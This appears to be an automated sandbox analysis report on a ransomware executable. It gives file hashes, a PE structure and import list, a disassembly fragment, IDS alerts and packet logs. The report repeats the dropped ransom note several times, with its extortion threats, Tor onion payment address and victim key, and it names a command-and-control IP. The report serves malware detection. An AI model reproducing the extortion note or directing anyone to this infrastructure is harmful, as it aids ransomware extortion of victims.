SHA-256:	229DD4270420F30BE9C2CA48117EFF28518AA680377C3C21D2C72FA66CB4637B
SHA-512:	B3DB25F41950DC98BDC93CE8AF02A6162CC38AA1FBFC5B09086692204C1C6BEFD493822C216B8178334C9C7C4A464DD201C912707C7AC11D0A268420D292DFC3
Malicious:	false
Preview:	Hello....Your files are encrypted and can not be used..We have downloaded your confidential data and are ready to publish it on our blog..To return your files in work condition you need decryption tool..Follow the instructions to decrypt all your data....Do not try to change or restore files yourself, this will break them..If you want, on our site you can decrypt one file for free. Free test decryption allowed only for not valuable file with size less than 3MB....How to get decryption tool:..1) Download and install TOR browser by this link: https://www.torproject.org/download/..2) If TOR blocked in your country and you can't access to the link then use any VPN software..3) Run TOR browser and open the site: wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvlhkhvlrexljoyuklaad.onion/mallox/privateSignin..4) Copy your private ID in the input field. Your Private key: 4993809EC85AB5141AA0DB3F..5) You will see payment information and we can make free test decryption here..6)After payment, you will recei

C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Java\HOW TO BACK FILES.txt

Download File

Process:	C:\Users\user\Desktop\_145.exe
File Type:	data
Category:	dropped
Size (bytes):	1410
Entropy (8bit):	4.76384410394738
Encrypted:	false
SSDEEP:	24:a/uY2308Lcq39xe+6L1ruW67nGVcyuZHVnFmFEIsYSwR4mZPnv0AVCQyYFaH6K:a/uY2JJ9bZGyV598S2TPnv0AVCh
MD5:	7322334E0D24A4434F1B5D63CF177D95
SHA1:	D3A4ECCC1E96EFC2AF2EE6D0F7B990A5ED1B8988
SHA-256:	229DD4270420F30BE9C2CA48117EFF28518AA680377C3C21D2C72FA66CB4637B
SHA-512:	B3DB25F41950DC98BDC93CE8AF02A6162CC38AA1FBFC5B09086692204C1C6BEFD493822C216B8178334C9C7C4A464DD201C912707C7AC11D0A268420D292DFC3
Malicious:	false
Preview:	Hello....Your files are encrypted and can not be used..We have downloaded your confidential data and are ready to publish it on our blog..To return your files in work condition you need decryption tool..Follow the instructions to decrypt all your data....Do not try to change or restore files yourself, this will break them..If you want, on our site you can decrypt one file for free. Free test decryption allowed only for not valuable file with size less than 3MB....How to get decryption tool:..1) Download and install TOR browser by this link: https://www.torproject.org/download/..2) If TOR blocked in your country and you can't access to the link then use any VPN software..3) Run TOR browser and open the site: wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvlhkhvlrexljoyuklaad.onion/mallox/privateSignin..4) Copy your private ID in the input field. Your Private key: 4993809EC85AB5141AA0DB3F..5) You will see payment information and we can make free test decryption here..6)After payment, you will recei

C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Maintenance\HOW TO BACK FILES.txt

Download File

Process:	C:\Users\user\Desktop\_145.exe
File Type:	data
Category:	dropped
Size (bytes):	1410
Entropy (8bit):	4.76384410394738
Encrypted:	false
SSDEEP:	24:a/uY2308Lcq39xe+6L1ruW67nGVcyuZHVnFmFEIsYSwR4mZPnv0AVCQyYFaH6K:a/uY2JJ9bZGyV598S2TPnv0AVCh
MD5:	7322334E0D24A4434F1B5D63CF177D95
SHA1:	D3A4ECCC1E96EFC2AF2EE6D0F7B990A5ED1B8988
SHA-256:	229DD4270420F30BE9C2CA48117EFF28518AA680377C3C21D2C72FA66CB4637B
SHA-512:	B3DB25F41950DC98BDC93CE8AF02A6162CC38AA1FBFC5B09086692204C1C6BEFD493822C216B8178334C9C7C4A464DD201C912707C7AC11D0A268420D292DFC3
Malicious:	false
Preview:	Hello....Your files are encrypted and can not be used..We have downloaded your confidential data and are ready to publish it on our blog..To return your files in work condition you need decryption tool..Follow the instructions to decrypt all your data....Do not try to change or restore files yourself, this will break them..If you want, on our site you can decrypt one file for free. Free test decryption allowed only for not valuable file with size less than 3MB....How to get decryption tool:..1) Download and install TOR browser by this link: https://www.torproject.org/download/..2) If TOR blocked in your country and you can't access to the link then use any VPN software..3) Run TOR browser and open the site: wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvlhkhvlrexljoyuklaad.onion/mallox/privateSignin..4) Copy your private ID in the input field. Your Private key: 4993809EC85AB5141AA0DB3F..5) You will see payment information and we can make free test decryption here..6)After payment, you will recei

C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Microsoft Office Tools\HOW TO BACK FILES.txt

Download File

Process:	C:\Users\user\Desktop\_145.exe
File Type:	data
Category:	dropped
Size (bytes):	1410
Entropy (8bit):	4.76384410394738
Encrypted:	false
SSDEEP:	24:a/uY2308Lcq39xe+6L1ruW67nGVcyuZHVnFmFEIsYSwR4mZPnv0AVCQyYFaH6K:a/uY2JJ9bZGyV598S2TPnv0AVCh
MD5:	7322334E0D24A4434F1B5D63CF177D95
SHA1:	D3A4ECCC1E96EFC2AF2EE6D0F7B990A5ED1B8988
SHA-256:	229DD4270420F30BE9C2CA48117EFF28518AA680377C3C21D2C72FA66CB4637B
SHA-512:	B3DB25F41950DC98BDC93CE8AF02A6162CC38AA1FBFC5B09086692204C1C6BEFD493822C216B8178334C9C7C4A464DD201C912707C7AC11D0A268420D292DFC3
Malicious:	false
Preview:	Hello....Your files are encrypted and can not be used..We have downloaded your confidential data and are ready to publish it on our blog..To return your files in work condition you need decryption tool..Follow the instructions to decrypt all your data....Do not try to change or restore files yourself, this will break them..If you want, on our site you can decrypt one file for free. Free test decryption allowed only for not valuable file with size less than 3MB....How to get decryption tool:..1) Download and install TOR browser by this link: https://www.torproject.org/download/..2) If TOR blocked in your country and you can't access to the link then use any VPN software..3) Run TOR browser and open the site: wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvlhkhvlrexljoyuklaad.onion/mallox/privateSignin..4) Copy your private ID in the input field. Your Private key: 4993809EC85AB5141AA0DB3F..5) You will see payment information and we can make free test decryption here..6)After payment, you will recei

C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\HOW TO BACK FILES.txt

Download File

Process:	C:\Users\user\Desktop\_145.exe
File Type:	data
Category:	dropped
Size (bytes):	1410
Entropy (8bit):	4.76384410394738
Encrypted:	false
SSDEEP:	24:a/uY2308Lcq39xe+6L1ruW67nGVcyuZHVnFmFEIsYSwR4mZPnv0AVCQyYFaH6K:a/uY2JJ9bZGyV598S2TPnv0AVCh
MD5:	7322334E0D24A4434F1B5D63CF177D95
SHA1:	D3A4ECCC1E96EFC2AF2EE6D0F7B990A5ED1B8988
SHA-256:	229DD4270420F30BE9C2CA48117EFF28518AA680377C3C21D2C72FA66CB4637B
SHA-512:	B3DB25F41950DC98BDC93CE8AF02A6162CC38AA1FBFC5B09086692204C1C6BEFD493822C216B8178334C9C7C4A464DD201C912707C7AC11D0A268420D292DFC3
Malicious:	false
Preview:	Hello....Your files are encrypted and can not be used..We have downloaded your confidential data and are ready to publish it on our blog..To return your files in work condition you need decryption tool..Follow the instructions to decrypt all your data....Do not try to change or restore files yourself, this will break them..If you want, on our site you can decrypt one file for free. Free test decryption allowed only for not valuable file with size less than 3MB....How to get decryption tool:..1) Download and install TOR browser by this link: https://www.torproject.org/download/..2) If TOR blocked in your country and you can't access to the link then use any VPN software..3) Run TOR browser and open the site: wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvlhkhvlrexljoyuklaad.onion/mallox/privateSignin..4) Copy your private ID in the input field. Your Private key: 4993809EC85AB5141AA0DB3F..5) You will see payment information and we can make free test decryption here..6)After payment, you will recei

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.556269932810154
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	_145.exe
File size:	197'120 bytes
MD5:	b54d7da0fe6869006ffd3b9b470f0dc4
SHA1:	5d0b9521cca0c911d49162e7f416a1463fbaefae
SHA256:	df29d5c4a750663440ce76d6804ce88e03faeef9591ec0b3b9ca348a6c930b7f
SHA512:	fa50a574ca3495d844fa1a0471e97dc32a4e64e8d20bc9ef6efea5c6bd4fd3b91f6026f7b3da747f69e354cb157e197557c7cdb8d30d0f81cd6458ec8b63e87a
SSDEEP:	6144:MQiXrxXhB2sYm28QY4BCRSjX0PGj3IPE:MXX5H52zCR7PGr
TLSH:	4D149D607AC085F1E4AB093856F46F795CEFBE200B61A5DB13504F795E326E29830FA7
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......F....f.D.f.D.f.D...E.f.D...E.f.DP..E.f.DP..E.f.DP..E.f.D...E.f.D...E.f.D...E.f.D.f.D.f.D...E&f.D...D.f.D...E.f.DRich.f.D.......

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x412d1d
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x64DE7FCB [Thu Aug 17 20:15:07 2023 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	78dcbf78ff2f594b643a10aeb85b9d87

Entrypoint Preview

Instruction
call 00007F28948700CDh
jmp 00007F289486FA8Fh
and dword ptr [ecx+04h], 00000000h
mov eax, ecx
and dword ptr [ecx+08h], 00000000h
mov dword ptr [ecx+04h], 00422420h
mov dword ptr [ecx], 00422418h
ret
push ebp
mov ebp, esp
sub esp, 0Ch
lea ecx, dword ptr [ebp-0Ch]
call 00007F289486FBEFh
push 0042C844h
lea eax, dword ptr [ebp-0Ch]
push eax
call 00007F2894870A18h
int3
push ebp
mov ebp, esp
and dword ptr [0042F288h], 00000000h
sub esp, 24h
or dword ptr [0042E010h], 01h
push 0000000Ah
call dword ptr [0042220Ch]
test eax, eax
je 00007F289486FDBFh
and dword ptr [ebp-10h], 00000000h
xor eax, eax
push ebx
push esi
push edi
xor ecx, ecx
lea edi, dword ptr [ebp-24h]
push ebx
cpuid
mov esi, ebx
pop ebx
mov dword ptr [edi], eax
mov dword ptr [edi+04h], esi
mov dword ptr [edi+08h], ecx
xor ecx, ecx
mov dword ptr [edi+0Ch], edx
mov eax, dword ptr [ebp-24h]
mov edi, dword ptr [ebp-1Ch]
mov dword ptr [ebp-0Ch], eax
xor edi, 6C65746Eh
mov eax, dword ptr [ebp-18h]
xor eax, 49656E69h
mov dword ptr [ebp-08h], eax
mov eax, dword ptr [ebp-20h]
xor eax, 756E6547h
mov dword ptr [ebp-04h], eax
xor eax, eax
inc eax
push ebx
cpuid
mov esi, ebx
pop ebx
lea ebx, dword ptr [ebp-24h]
mov dword ptr [ebx], eax
mov eax, dword ptr [ebp-04h]
mov dword ptr [ebx+04h], esi
or eax, edi
or eax, dword ptr [ebp-08h]
mov dword ptr [ebx+08h], ecx
mov dword ptr [ebx+0Ch], edx

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x2cea8	0xc8	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x35000	0x1e0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x36000	0x223c	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x2bf58	0x38	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x2c080	0x18	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x2bf90	0x40	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x22000	0x2d8	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x20691	0x20800	False	0.5460036057692308	data	6.6877029415223035	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x22000	0xbf1c	0xc000	False	0.42681884765625	data	5.051031256070102	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x2e000	0x6da8	0x1000	False	0.221923828125	DOS executable (block device driver \277DN\346@\273)	3.938073637158958	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x35000	0x1e0	0x200	False	0.52734375	data	4.7122981932940915	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x36000	0x223c	0x2400	False	0.7593315972222222	data	6.564929158394369	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x35060	0x17d	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.5931758530183727

Imports

DLL	Import
KERNEL32.dll	GetCurrentThreadId, GetModuleHandleA, GetLocaleInfoA, OpenProcess, PostQueuedCompletionStatus, SetFileAttributesW, CreateToolhelp32Snapshot, MultiByteToWideChar, Sleep, GetLastError, Process32NextW, CreateFileA, SetEvent, GetDiskFreeSpaceExW, GetCurrentThread, TerminateThread, LoadLibraryA, lstrcatW, CloseHandle, GetNativeSystemInfo, GetSystemInfo, CreateThread, GetWindowsDirectoryA, SetVolumeMountPointW, GetWindowsDirectoryW, GetProcAddress, SetFilePointerEx, LocalFree, DeleteCriticalSection, ExitProcess, GetCurrentProcessId, GetModuleHandleW, CopyFileW, WideCharToMultiByte, GetVolumePathNamesForVolumeNameW, lstrcpyW, SleepEx, GetDiskFreeSpaceExA, GetFileAttributesW, FindNextVolumeW, lstrcmpiW, CreateIoCompletionPort, GetTickCount, lstrcmpW, MoveFileW, GetDriveTypeW, GetFileTime, GetComputerNameA, QueryDosDeviceW, DuplicateHandle, CreateEventW, FindVolumeClose, GetFileType, WriteConsoleW, SetEndOfFile, ReadConsoleW, HeapSize, GetConsoleMode, GetConsoleOutputCP, CreateFileW, WaitForSingleObject, FindClose, lstrlenA, GetQueuedCompletionStatus, SetErrorMode, InitializeCriticalSection, LeaveCriticalSection, WaitForMultipleObjects, GetModuleFileNameW, GetUserDefaultLangID, TerminateProcess, WriteFile, lstrlenW, GetCurrentProcess, FindNextFileW, GetCommandLineW, EnterCriticalSection, FindFirstVolumeW, FindFirstFileExW, GetFileSizeEx, GetLogicalDrives, GetVolumeInformationW, ReadFile, FlushFileBuffers, GetStringTypeW, SetStdHandle, GetProcessHeap, FreeEnvironmentStringsW, GetEnvironmentStringsW, GetCommandLineA, GetCPInfo, GetOEMCP, GetACP, IsValidCodePage, QueryPerformanceCounter, CreateEventA, LCMapStringW, HeapAlloc, HeapFree, HeapReAlloc, GetStdHandle, GetModuleHandleExW, LoadLibraryExW, FreeLibrary, TlsFree, TlsSetValue, UnhandledExceptionFilter, SetUnhandledExceptionFilter, IsProcessorFeaturePresent, InitializeCriticalSectionAndSpinCount, ResetEvent, WaitForSingleObjectEx, IsDebuggerPresent, GetStartupInfoW, GetSystemTimeAsFileTime, InitializeSListHead, RtlUnwind, RaiseException, SetLastError, EncodePointer, TlsAlloc, TlsGetValue, DecodePointer
USER32.dll	CreateWindowExW, GetCursorPos, DefWindowProcW, RegisterClassW
ADVAPI32.dll	OpenSCManagerW, OpenThreadToken, LookupPrivilegeValueW, AdjustTokenPrivileges, CreateServiceW, RegCloseKey, CryptAcquireContextW, CloseServiceHandle, RegQueryValueExA, CryptGenRandom, AllocateAndInitializeSid, SetEntriesInAclW, SetNamedSecurityInfoW, RegSetValueExW, OpenProcessToken, FreeSid, StartServiceW, RegOpenKeyExA, RegOpenKeyExW, CryptReleaseContext
SHELL32.dll	CommandLineToArgvW, ShellExecuteW, ShellExecuteA
NETAPI32.dll	NetShareEnum, NetApiBufferFree
SHLWAPI.dll	wnsprintfA, StrCmpNIW, StrCmpNW, StrDupW, StrStrIW, UrlUnescapeA, UrlEscapeA, SHDeleteKeyW, wnsprintfW
IPHLPAPI.DLL	GetIpNetTable
WS2_32.dll	inet_ntoa
WININET.dll	InternetCrackUrlW, InternetQueryOptionW, InternetCloseHandle, InternetConnectW, InternetSetOptionW, InternetOpenW, InternetQueryDataAvailable, HttpOpenRequestW, InternetReadFile, HttpSendRequestW

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
192.168.2.591.215.85.14249719802039815 11/06/23-19:44:32.807981	TCP	2039815	ET TROJAN Win32/Filecoder.OJC CnC Checkin	49719	80	192.168.2.5	91.215.85.142
192.168.2.591.215.85.14249721802039815 11/06/23-19:44:35.420553	TCP	2039815	ET TROJAN Win32/Filecoder.OJC CnC Checkin	49721	80	192.168.2.5	91.215.85.142
192.168.2.591.215.85.14249715802039815 11/06/23-19:44:31.537853	TCP	2039815	ET TROJAN Win32/Filecoder.OJC CnC Checkin	49715	80	192.168.2.5	91.215.85.142
192.168.2.591.215.85.14249720802039815 11/06/23-19:44:34.123034	TCP	2039815	ET TROJAN Win32/Filecoder.OJC CnC Checkin	49720	80	192.168.2.5	91.215.85.142
192.168.2.591.215.85.14249722802039815 11/06/23-19:44:36.871461	TCP	2039815	ET TROJAN Win32/Filecoder.OJC CnC Checkin	49722	80	192.168.2.5	91.215.85.142
192.168.2.591.215.85.14249711802039815 11/06/23-19:44:28.316418	TCP	2039815	ET TROJAN Win32/Filecoder.OJC CnC Checkin	49711	80	192.168.2.5	91.215.85.142
192.168.2.591.215.85.14249713802039815 11/06/23-19:44:30.057662	TCP	2039815	ET TROJAN Win32/Filecoder.OJC CnC Checkin	49713	80	192.168.2.5	91.215.85.142

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 6, 2023 19:44:27.616110086 CET	49710	80	192.168.2.5	173.231.16.77
Nov 6, 2023 19:44:27.788331985 CET	80	49710	173.231.16.77	192.168.2.5
Nov 6, 2023 19:44:27.789417028 CET	49710	80	192.168.2.5	173.231.16.77
Nov 6, 2023 19:44:27.790328026 CET	49710	80	192.168.2.5	173.231.16.77
Nov 6, 2023 19:44:27.962529898 CET	80	49710	173.231.16.77	192.168.2.5
Nov 6, 2023 19:44:27.962812901 CET	80	49710	173.231.16.77	192.168.2.5
Nov 6, 2023 19:44:27.962918997 CET	49710	80	192.168.2.5	173.231.16.77
Nov 6, 2023 19:44:27.991987944 CET	49711	80	192.168.2.5	91.215.85.142
Nov 6, 2023 19:44:28.315146923 CET	80	49711	91.215.85.142	192.168.2.5
Nov 6, 2023 19:44:28.315238953 CET	49711	80	192.168.2.5	91.215.85.142
Nov 6, 2023 19:44:28.316417933 CET	49711	80	192.168.2.5	91.215.85.142
Nov 6, 2023 19:44:28.639493942 CET	80	49711	91.215.85.142	192.168.2.5
Nov 6, 2023 19:44:29.525533915 CET	80	49711	91.215.85.142	192.168.2.5
Nov 6, 2023 19:44:29.525660038 CET	49711	80	192.168.2.5	91.215.85.142
Nov 6, 2023 19:44:29.683491945 CET	49711	80	192.168.2.5	91.215.85.142
Nov 6, 2023 19:44:29.685591936 CET	49713	80	192.168.2.5	91.215.85.142
Nov 6, 2023 19:44:30.006913900 CET	80	49711	91.215.85.142	192.168.2.5
Nov 6, 2023 19:44:30.006979942 CET	80	49713	91.215.85.142	192.168.2.5
Nov 6, 2023 19:44:30.006993055 CET	49711	80	192.168.2.5	91.215.85.142
Nov 6, 2023 19:44:30.007066965 CET	49713	80	192.168.2.5	91.215.85.142
Nov 6, 2023 19:44:30.057662010 CET	49713	80	192.168.2.5	91.215.85.142
Nov 6, 2023 19:44:30.378904104 CET	80	49713	91.215.85.142	192.168.2.5
Nov 6, 2023 19:44:30.861908913 CET	80	49713	91.215.85.142	192.168.2.5
Nov 6, 2023 19:44:30.862032890 CET	49713	80	192.168.2.5	91.215.85.142
Nov 6, 2023 19:44:31.151946068 CET	49713	80	192.168.2.5	91.215.85.142
Nov 6, 2023 19:44:31.153306007 CET	49715	80	192.168.2.5	91.215.85.142
Nov 6, 2023 19:44:31.473618984 CET	80	49713	91.215.85.142	192.168.2.5
Nov 6, 2023 19:44:31.473866940 CET	49713	80	192.168.2.5	91.215.85.142
Nov 6, 2023 19:44:31.476927042 CET	80	49715	91.215.85.142	192.168.2.5
Nov 6, 2023 19:44:31.477006912 CET	49715	80	192.168.2.5	91.215.85.142
Nov 6, 2023 19:44:31.537853003 CET	49715	80	192.168.2.5	91.215.85.142
Nov 6, 2023 19:44:31.861716986 CET	80	49715	91.215.85.142	192.168.2.5
Nov 6, 2023 19:44:32.254592896 CET	49718	135	192.168.2.5	192.168.2.1
Nov 6, 2023 19:44:32.335727930 CET	80	49715	91.215.85.142	192.168.2.5
Nov 6, 2023 19:44:32.335819006 CET	49715	80	192.168.2.5	91.215.85.142
Nov 6, 2023 19:44:32.462935925 CET	49715	80	192.168.2.5	91.215.85.142
Nov 6, 2023 19:44:32.464313984 CET	49719	80	192.168.2.5	91.215.85.142
Nov 6, 2023 19:44:32.786459923 CET	80	49719	91.215.85.142	192.168.2.5
Nov 6, 2023 19:44:32.786490917 CET	80	49715	91.215.85.142	192.168.2.5
Nov 6, 2023 19:44:32.786567926 CET	49719	80	192.168.2.5	91.215.85.142
Nov 6, 2023 19:44:32.786647081 CET	49715	80	192.168.2.5	91.215.85.142
Nov 6, 2023 19:44:32.807981014 CET	49719	80	192.168.2.5	91.215.85.142
Nov 6, 2023 19:44:33.130400896 CET	80	49719	91.215.85.142	192.168.2.5
Nov 6, 2023 19:44:33.256531000 CET	49718	135	192.168.2.5	192.168.2.1
Nov 6, 2023 19:44:33.654077053 CET	80	49719	91.215.85.142	192.168.2.5
Nov 6, 2023 19:44:33.654135942 CET	49719	80	192.168.2.5	91.215.85.142
Nov 6, 2023 19:44:33.796560049 CET	49719	80	192.168.2.5	91.215.85.142
Nov 6, 2023 19:44:33.798338890 CET	49720	80	192.168.2.5	91.215.85.142
Nov 6, 2023 19:44:34.118844032 CET	80	49719	91.215.85.142	192.168.2.5
Nov 6, 2023 19:44:34.118943930 CET	49719	80	192.168.2.5	91.215.85.142
Nov 6, 2023 19:44:34.121896982 CET	80	49720	91.215.85.142	192.168.2.5
Nov 6, 2023 19:44:34.122368097 CET	49720	80	192.168.2.5	91.215.85.142
Nov 6, 2023 19:44:34.123034000 CET	49720	80	192.168.2.5	91.215.85.142
Nov 6, 2023 19:44:34.446696043 CET	80	49720	91.215.85.142	192.168.2.5
Nov 6, 2023 19:44:34.856112957 CET	80	49720	91.215.85.142	192.168.2.5
Nov 6, 2023 19:44:34.856185913 CET	49720	80	192.168.2.5	91.215.85.142
Nov 6, 2023 19:44:35.086875916 CET	49720	80	192.168.2.5	91.215.85.142
Nov 6, 2023 19:44:35.088118076 CET	49721	80	192.168.2.5	91.215.85.142
Nov 6, 2023 19:44:35.262399912 CET	49718	135	192.168.2.5	192.168.2.1
Nov 6, 2023 19:44:35.411026955 CET	80	49721	91.215.85.142	192.168.2.5
Nov 6, 2023 19:44:35.411050081 CET	80	49720	91.215.85.142	192.168.2.5
Nov 6, 2023 19:44:35.418801069 CET	49720	80	192.168.2.5	91.215.85.142
Nov 6, 2023 19:44:35.418834925 CET	49721	80	192.168.2.5	91.215.85.142
Nov 6, 2023 19:44:35.420552969 CET	49721	80	192.168.2.5	91.215.85.142
Nov 6, 2023 19:44:35.744262934 CET	80	49721	91.215.85.142	192.168.2.5
Nov 6, 2023 19:44:36.256839991 CET	80	49721	91.215.85.142	192.168.2.5
Nov 6, 2023 19:44:36.257538080 CET	49721	80	192.168.2.5	91.215.85.142
Nov 6, 2023 19:44:36.492935896 CET	49721	80	192.168.2.5	91.215.85.142
Nov 6, 2023 19:44:36.495146036 CET	49722	80	192.168.2.5	91.215.85.142
Nov 6, 2023 19:44:36.815848112 CET	80	49721	91.215.85.142	192.168.2.5
Nov 6, 2023 19:44:36.815918922 CET	49721	80	192.168.2.5	91.215.85.142
Nov 6, 2023 19:44:36.820609093 CET	80	49722	91.215.85.142	192.168.2.5
Nov 6, 2023 19:44:36.820708990 CET	49722	80	192.168.2.5	91.215.85.142
Nov 6, 2023 19:44:36.871460915 CET	49722	80	192.168.2.5	91.215.85.142
Nov 6, 2023 19:44:37.196966887 CET	80	49722	91.215.85.142	192.168.2.5
Nov 6, 2023 19:44:37.655527115 CET	80	49722	91.215.85.142	192.168.2.5
Nov 6, 2023 19:44:37.668216944 CET	49722	80	192.168.2.5	91.215.85.142
Nov 6, 2023 19:44:39.270287037 CET	49718	135	192.168.2.5	192.168.2.1
Nov 6, 2023 19:44:47.283628941 CET	49718	135	192.168.2.5	192.168.2.1
Nov 6, 2023 19:44:53.278456926 CET	49729	135	192.168.2.5	192.168.2.1
Nov 6, 2023 19:44:54.272826910 CET	49729	135	192.168.2.5	192.168.2.1
Nov 6, 2023 19:44:56.290222883 CET	49729	135	192.168.2.5	192.168.2.1
Nov 6, 2023 19:45:00.294403076 CET	49729	135	192.168.2.5	192.168.2.1
Nov 6, 2023 19:45:08.308023930 CET	49729	135	192.168.2.5	192.168.2.1
Nov 6, 2023 19:45:32.963087082 CET	80	49710	173.231.16.77	192.168.2.5
Nov 6, 2023 19:45:32.965887070 CET	49710	80	192.168.2.5	173.231.16.77
Nov 6, 2023 19:45:42.659439087 CET	80	49722	91.215.85.142	192.168.2.5
Nov 6, 2023 19:45:42.661524057 CET	49722	80	192.168.2.5	91.215.85.142
Nov 6, 2023 19:46:17.321388006 CET	49722	80	192.168.2.5	91.215.85.142
Nov 6, 2023 19:46:17.321777105 CET	49710	80	192.168.2.5	173.231.16.77
Nov 6, 2023 19:46:17.493843079 CET	80	49710	173.231.16.77	192.168.2.5
Nov 6, 2023 19:46:17.646997929 CET	80	49722	91.215.85.142	192.168.2.5

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 6, 2023 19:44:27.445254087 CET	50755	53	192.168.2.5	1.1.1.1
Nov 6, 2023 19:44:27.598443031 CET	53	50755	1.1.1.1	192.168.2.5
Nov 6, 2023 19:44:32.249718904 CET	65186	274	192.168.2.5	192.168.2.1
Nov 6, 2023 19:44:32.250797987 CET	65186	274	192.168.2.5	192.168.2.1
Nov 6, 2023 19:44:32.252070904 CET	65186	274	192.168.2.5	192.168.2.1
Nov 6, 2023 19:44:53.256824970 CET	65186	274	192.168.2.5	192.168.2.1
Nov 6, 2023 19:44:53.261089087 CET	65186	274	192.168.2.5	192.168.2.1
Nov 6, 2023 19:44:53.261859894 CET	65186	274	192.168.2.5	192.168.2.1
Nov 6, 2023 19:44:53.262784004 CET	65186	274	192.168.2.5	192.168.2.1
Nov 6, 2023 19:45:15.234919071 CET	65186	274	192.168.2.5	192.168.2.1
Nov 6, 2023 19:46:49.205913067 CET	65186	274	192.168.2.5	192.168.2.1

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Nov 6, 2023 19:44:32.249823093 CET	192.168.2.1	192.168.2.5	8309	(Port unreachable)	Destination Unreachable
Nov 6, 2023 19:44:32.250818014 CET	192.168.2.1	192.168.2.5	8309	(Port unreachable)	Destination Unreachable
Nov 6, 2023 19:44:32.252084017 CET	192.168.2.1	192.168.2.5	8309	(Port unreachable)	Destination Unreachable
Nov 6, 2023 19:44:32.254620075 CET	192.168.2.1	192.168.2.5	827a	(Port unreachable)	Destination Unreachable
Nov 6, 2023 19:44:33.256571054 CET	192.168.2.1	192.168.2.5	827a	(Port unreachable)	Destination Unreachable
Nov 6, 2023 19:44:35.262451887 CET	192.168.2.1	192.168.2.5	827a	(Port unreachable)	Destination Unreachable
Nov 6, 2023 19:44:39.270380974 CET	192.168.2.1	192.168.2.5	827a	(Port unreachable)	Destination Unreachable
Nov 6, 2023 19:44:47.283689022 CET	192.168.2.1	192.168.2.5	827a	(Port unreachable)	Destination Unreachable
Nov 6, 2023 19:44:53.256860018 CET	192.168.2.1	192.168.2.5	8305	(Port unreachable)	Destination Unreachable
Nov 6, 2023 19:44:53.261095047 CET	192.168.2.1	192.168.2.5	8305	(Port unreachable)	Destination Unreachable
Nov 6, 2023 19:44:53.261864901 CET	192.168.2.1	192.168.2.5	8305	(Port unreachable)	Destination Unreachable
Nov 6, 2023 19:44:53.262789011 CET	192.168.2.1	192.168.2.5	8305	(Port unreachable)	Destination Unreachable
Nov 6, 2023 19:44:53.278506041 CET	192.168.2.1	192.168.2.5	827a	(Port unreachable)	Destination Unreachable
Nov 6, 2023 19:44:54.272872925 CET	192.168.2.1	192.168.2.5	827a	(Port unreachable)	Destination Unreachable
Nov 6, 2023 19:44:56.290271997 CET	192.168.2.1	192.168.2.5	827a	(Port unreachable)	Destination Unreachable
Nov 6, 2023 19:45:00.294435024 CET	192.168.2.1	192.168.2.5	827a	(Port unreachable)	Destination Unreachable
Nov 6, 2023 19:45:08.308075905 CET	192.168.2.1	192.168.2.5	827a	(Port unreachable)	Destination Unreachable
